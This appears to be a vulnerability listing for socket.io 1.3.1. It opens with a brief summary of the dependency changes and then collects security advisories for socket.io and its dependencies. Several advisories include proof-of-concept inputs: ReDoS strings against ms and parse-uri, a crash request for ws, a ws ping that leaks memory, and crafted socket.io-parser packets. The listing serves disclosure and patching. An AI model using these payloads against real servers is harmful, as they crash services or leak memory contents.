Socket.io, a popular node.js library for building real-time applications, saw a minor version update from 1.3.0 to 1.3.1 released on January 19, 2015. While seemingly small, these incremental updates often contain bug fixes and subtle improvements crucial for stability and performance. Examining the dependency list, the primary shift lies in the "engine.io" dependency, updated from version 1.5.0 to 1.5.1. Engine.io forms the foundation of Socket.IO's real-time communication, handling the low-level transport mechanisms. This suggests the 1.3.1 release likely addresses issues or enhancements within the Engine.IO layer impacting connection management or socket performance. Developers should investigate the Engine.IO changelog for specifics on the 1.5.1 update’s implications.
Other dependencies such as "debug", "has-binary-data", "socket.io-client", "socket.io-parser" and "socket.io-adapter" remain at the same versions, indicating a focused effort on the underlying transport layer through the Engine.IO update. The development dependencies, used for testing and code quality, are identical across both versions.
For developers using Socket.IO, upgrading from 1.3.0 to 1.3.1 is recommended due to the probability of bug fixes within Engine.IO, potentially smoothing out connection issues or improving overall socket stability. Before upgrading, reviewing the Engine.IO release notes for 1.5.1 is crucial to understand any potential breaking changes, although minor version updates are generally backwards compatible. The updated release date of the 1.3.1 version is also of notice.
All the vulnerabilities related to the version 1.3.1 of the package
CORS misconfiguration in socket.io
The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.
socket.io has an unhandled 'error' event
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
node:events:502
throw err; // Unhandled 'error' event
^
Error [ERR_UNHANDLED_ERROR]: Unhandled error. (undefined)
at new NodeError (node:internal/errors:405:5)
at Socket.emit (node:events:500:17)
at /myapp/node_modules/socket.io/lib/socket.js:531:14
at process.processTicksAndRejections (node:internal/process/task_queues:77:11) {
code: 'ERR_UNHANDLED_ERROR',
context: undefined
}
| Version range | Needs minor update? |
|------------------|------------------------------------------------|
| 4.6.2...latest | Nothing to do |
| 3.0.0...4.6.1 | Please upgrade to socket.io@4.6.2 (at least) |
| 2.3.0...2.5.0 | Please upgrade to socket.io@2.5.1 |
This issue is fixed by https://github.com/socketio/socket.io/commit/15af22fc22bc6030fcead322c106f07640336115, included in socket.io@4.6.2 (released in May 2023).
The fix was backported in the 2.x branch today: https://github.com/socketio/socket.io/commit/d30630ba10562bf987f4d2b42440fc41a828119c
As a workaround for the affected versions of the socket.io package, you can attach a listener for the "error" event:
io.on("connection", (socket) => {
socket.on("error", () => {
// ...
});
});
If you have any questions or comments about this advisory:
Thanks a lot to Paul Taylor for the responsible disclosure.
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
Regular Expression Denial of Service in ms
Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Resource exhaustion in engine.io
Engine.IO before 4.0.0 and 3.6.0 allows attackers to cause a denial of service (resource consumption) via a POST request to the long polling transport.
Uncaught exception in engine.io
A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.
events.js:292
throw er; // Unhandled 'error' event
^
Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
at emitErrorNT (internal/streams/destroy.js:106:8)
at emitErrorCloseNT (internal/streams/destroy.js:74:3)
at processTicksAndRejections (internal/process/task_queues.js:80:21) {
errno: -104,
code: 'ECONNRESET',
syscall: 'read'
}
This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.
A fix has been released today (2022/11/20):
| Version range | Fixed version |
|-------------------|---------------|
| engine.io@3.x.y | 3.6.1 |
| engine.io@6.x.y | 6.2.1 |
For socket.io users:
| Version range | engine.io version | Needs minor update? |
|-----------------------------|---------------------|--------------------------------------------------------------------------------------------------------|
| socket.io@4.5.x | ~6.2.0 | npm audit fix should be sufficient |
| socket.io@4.4.x | ~6.1.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.3.x | ~6.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.2.x | ~5.2.0 | Please upgrade to socket.io@4.5.x |
| socket.io@4.1.x | ~5.1.1 | Please upgrade to socket.io@4.5.x |
| socket.io@4.0.x | ~5.0.0 | Please upgrade to socket.io@4.5.x |
| socket.io@3.1.x | ~4.1.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@3.0.x | ~4.0.0 | Please upgrade to socket.io@4.5.x (see here) |
| socket.io@2.5.0 | ~3.6.0 | npm audit fix should be sufficient |
| socket.io@2.4.x and below | ~3.5.0 | Please upgrade to socket.io@2.5.0 |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
engine.ioThanks to Jonathan Neve for the responsible disclosure.
Remote Memory Disclosure in ws
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
Update to version 1.0.1 or greater.
DoS due to excessively large websocket message in ws
Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.
Update to version 1.1.1 or later.
Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.
Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Insecure Defaults Allow MITM Over TLS in engine.io-client
Affected versions of engine.io-client do not verify certificates by default, and as such may be vulnerable to Man-in-the-Middle attacks.
The vulnerability is related to the way that node.js handles the rejectUnauthorized setting. If the value is something that evaluates to false, such as undefined or null, certificate verification will be disabled.
Update to version 1.6.9 or later.
If you are unable to upgrade, ensure all calls to socket.io to have a rejectedUnauthorized: true flag.
Regular Expression Denial of Service in parsejson
Affected versions of parsejson are vulnerable to a regular expression denial of service when parsing untrusted user input.
The parsejson package has not been functionally updated since it was initially released.
Additionally, it provides functionality which is natively included in Node.js, and therefore the native JSON.parse() should be used, for both performance and security reasons.
Resource exhaustion in socket.io-parser
The socket.io-parser npm package before versions 3.3.2 and 3.4.1 allows attackers to cause a denial of service (memory consumption) via a large packet because a concatenation approach is used.
Insufficient validation when decoding a Socket.IO packet
Due to improper type validation in the socket.io-parser library (which is used by the socket.io and socket.io-client packages to encode and decode Socket.IO packets), it is possible to overwrite the _placeholder object which allows an attacker to place references to functions at arbitrary places in the resulting query object.
Example:
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
This bubbles up in the socket.io package:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// here, "val" could be a function instead of a buffer
});
});
:warning: IMPORTANT NOTE :warning:
You need to make sure that the payload that you received from the client is actually a Buffer object:
io.on("connection", (socket) => {
socket.on("hello", (val) => {
if (!Buffer.isBuffer(val)) {
socket.disconnect();
return;
}
// ...
});
});
If that's already the case, then you are not impacted by this issue, and there is no way an attacker could make your server crash (or escalate privileges, ...).
Example of values that could be sent by a malicious user:
Sample packet: 451-["hello",{"_placeholder":true,"num":10}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
undefinedSample packet: 451-["hello",{"_placeholder":true,"num":undefined}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is `undefined`
});
});
Array, like "push"Sample packet: 451-["hello",{"_placeholder":true,"num":"push"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "push" function
});
});
Object, like "hasOwnProperty"Sample packet: 451-["hello",{"_placeholder":true,"num":"hasOwnProperty"}]
io.on("connection", (socket) => {
socket.on("hello", (val) => {
// val is a reference to the "hasOwnProperty" function
});
});
This should be fixed by:
socket.io-parser@4.2.1socket.io-parser@4.0.5socket.io-parser@3.4.2socket.io-parser@3.3.3socket.io package| socket.io version | socket.io-parser version | Covered? |
|---------------------|---------------------------------------------------------------------------------------------------------|------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.1.3...4.5.1 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | Yes :heavy_check_mark: |
socket.io-client package| socket.io-client version | socket.io-parser version | Covered? |
|----------------------------|----------------------------------------------------------------------------------------------------------------|------------------------------------|
| 4.5.0...latest | ~4.2.0 (ref) | Yes :heavy_check_mark: |
| 4.3.0...4.4.1 | ~4.1.1 (ref) | No, but the impact is very limited |
| 3.1.0...4.2.0 | ~4.0.4 (ref) | Yes :heavy_check_mark: |
| 3.0.5 | ~4.0.3 (ref) | Yes :heavy_check_mark: |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Yes :heavy_check_mark: |
| 2.2.0...2.5.0 | ~3.3.0 (ref) | Yes :heavy_check_mark: |
Insufficient validation when decoding a Socket.IO packet
A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.
TypeError: Cannot convert object to primitive value
at Socket.emit (node:events:507:25)
at .../node_modules/socket.io/lib/socket.js:531:14
A fix has been released today (2023/05/22):
socket.io-parser@4.2.3socket.io-parser@3.4.3Another fix has been released for the 3.3.x branch:
| socket.io version | socket.io-parser version | Needs minor update? |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| 4.5.2...latest | ~4.2.0 (ref) | npm audit fix should be sufficient |
| 4.1.3...4.5.1 | ~4.1.1 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.5...4.1.2 | ~4.0.3 (ref) | Please upgrade to socket.io@4.6.x |
| 3.0.0...3.0.4 | ~4.0.1 (ref) | Please upgrade to socket.io@4.6.x |
| 2.3.0...2.5.0 | ~3.4.0 (ref) | npm audit fix should be sufficient |
There is no known workaround except upgrading to a safe version.
If you have any questions or comments about this advisory:
Thanks to @rafax00 for the responsible disclosure.